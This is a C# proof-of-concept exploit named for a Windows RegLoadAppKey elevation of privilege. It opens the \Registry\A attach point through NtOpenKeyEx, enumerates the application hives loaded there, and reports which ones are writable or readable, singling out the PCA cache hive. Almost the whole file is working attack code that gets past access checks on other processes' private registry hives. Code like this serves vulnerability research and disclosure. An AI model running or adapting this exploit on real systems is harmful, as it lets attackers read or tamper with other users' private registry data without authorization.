using Microsoft.Win32; using Microsoft.Win32.SafeHandles; using System; using System.Runtime.InteropServices; namespace Poc_RegLoadAppKey_EoP { class Program { [Flags] enum AttributeFlags : uint { None = 0, Inherit = 0x00000002, Permanent = 0x00000010, Exclusive = 0x00000020, CaseInsensitive = 0x00000040, OpenIf = 0x00000080, OpenLink = 0x00000100, KernelHandle = 0x00000200, ForceAccessCheck = 0x00000400, IgnoreImpersonatedDevicemap = 0x00000800, DontReparse = 0x00001000, } [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] sealed class UnicodeString { ushort Length; ushort MaximumLength; [MarshalAs(UnmanagedType.LPWStr)] string Buffer; public UnicodeString(string str) { Length = (ushort)(str.Length * 2); MaximumLength = (ushort)((str.Length * 2) + 1); Buffer = str; } } [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] sealed class ObjectAttributes : IDisposable { int Length; IntPtr RootDirectory; IntPtr ObjectName; AttributeFlags Attributes; IntPtr SecurityDescriptor; IntPtr SecurityQualityOfService; private static IntPtr AllocStruct(object s) { int size = Marshal.SizeOf(s); IntPtr ret = Marshal.AllocHGlobal(size); Marshal.StructureToPtr(s, ret, false); return ret; } private static void FreeStruct(ref IntPtr p, Type struct_type) { Marshal.DestroyStructure(p, struct_type); Marshal.FreeHGlobal(p); p = IntPtr.Zero; } public ObjectAttributes(string object_name, AttributeFlags flags, IntPtr root) { Length = Marshal.SizeOf(this); if (object_name != null) { ObjectName = AllocStruct(new UnicodeString(object_name)); } Attributes = flags; RootDirectory = root; } public void Dispose() { if (ObjectName != IntPtr.Zero) { FreeStruct(ref ObjectName, typeof(UnicodeString)); } GC.SuppressFinalize(this); } ~ObjectAttributes() { Dispose(); } } [Flags] enum GenericAccessRights : uint { None = 0, GenericRead = 0x80000000, GenericWrite = 0x40000000, GenericExecute = 0x20000000, GenericAll = 0x10000000, Delete = 0x00010000, ReadControl = 0x00020000, WriteDac = 0x00040000, WriteOwner = 0x00080000, Synchronize = 0x00100000, MaximumAllowed = 0x02000000, } class NtException : ExternalException { [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)] private static extern IntPtr GetModuleHandle(string modulename); [Flags] enum FormatFlags { AllocateBuffer = 0x00000100, FromHModule = 0x00000800, FromSystem = 0x00001000, IgnoreInserts = 0x00000200 } [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)] private static extern int FormatMessage( FormatFlags dwFlags, IntPtr lpSource, int dwMessageId, int dwLanguageId, out IntPtr lpBuffer, int nSize, IntPtr Arguments ); [DllImport("kernel32.dll")] private static extern IntPtr LocalFree(IntPtr p); private static string StatusToString(int status) { IntPtr buffer = IntPtr.Zero; try { if (FormatMessage(FormatFlags.AllocateBuffer | FormatFlags.FromHModule | FormatFlags.FromSystem | FormatFlags.IgnoreInserts, GetModuleHandle("ntdll.dll"), status, 0, out buffer, 0, IntPtr.Zero) > 0) { return Marshal.PtrToStringUni(buffer); } } finally { if (buffer != IntPtr.Zero) { LocalFree(buffer); } } return String.Format("Unknown Error: 0x{0:X08}", status); } public NtException(int status) : base(StatusToString(status)) { } } static void StatusToNtException(int status) { if (status < 0) { throw new NtException(status); } } [DllImport("ntdll.dll")] static extern int NtOpenKeyEx( out SafeRegistryHandle KeyHandle, GenericAccessRights DesiredAccess, [In] ObjectAttributes ObjectAttributes, int OpenOptions ); [DllImport("ntdll.dll")] static extern int NtClose(IntPtr handle); static RegistryKey OpenKey(RegistryKey base_key, string path, bool writable = false, bool throw_on_error = true) { IntPtr root_key = base_key != null ? base_key.Handle.DangerousGetHandle() : IntPtr.Zero; using (ObjectAttributes KeyName = new ObjectAttributes(path, AttributeFlags.CaseInsensitive | AttributeFlags.OpenLink, root_key)) { SafeRegistryHandle keyHandle; GenericAccessRights desired_access = GenericAccessRights.GenericRead; if (writable) { desired_access |= GenericAccessRights.GenericWrite; } int status = NtOpenKeyEx(out keyHandle, desired_access, KeyName, 0); if (throw_on_error) { StatusToNtException(status); } if (status == 0) return RegistryKey.FromHandle(keyHandle); return null; } } static void DoExploit() { RegistryKey root_key = OpenKey(null, @"\Registry"); RegistryKey attach_key = root_key.OpenSubKey("A"); foreach (string key_name in attach_key.GetSubKeyNames()) { bool writable = true; RegistryKey app_key = OpenKey(attach_key, key_name, true, false); if (app_key == null) { writable = false; app_key = OpenKey(attach_key, key_name, false, false); } if (app_key != null) { Console.WriteLine(@"Found {0} Key \Registry\A\{1}", writable ? "Writable" : "Readable", key_name); RegistryKey sub_key = app_key.OpenSubKey(@"Root\Programs"); if (sub_key != null) { Console.WriteLine("{0} is the PCA Cache Hive", key_name); sub_key.Close(); } app_key.Close(); } } } static void Main(string[] args) { try { DoExploit(); } catch (Exception ex) { Console.WriteLine(ex.Message); } } } }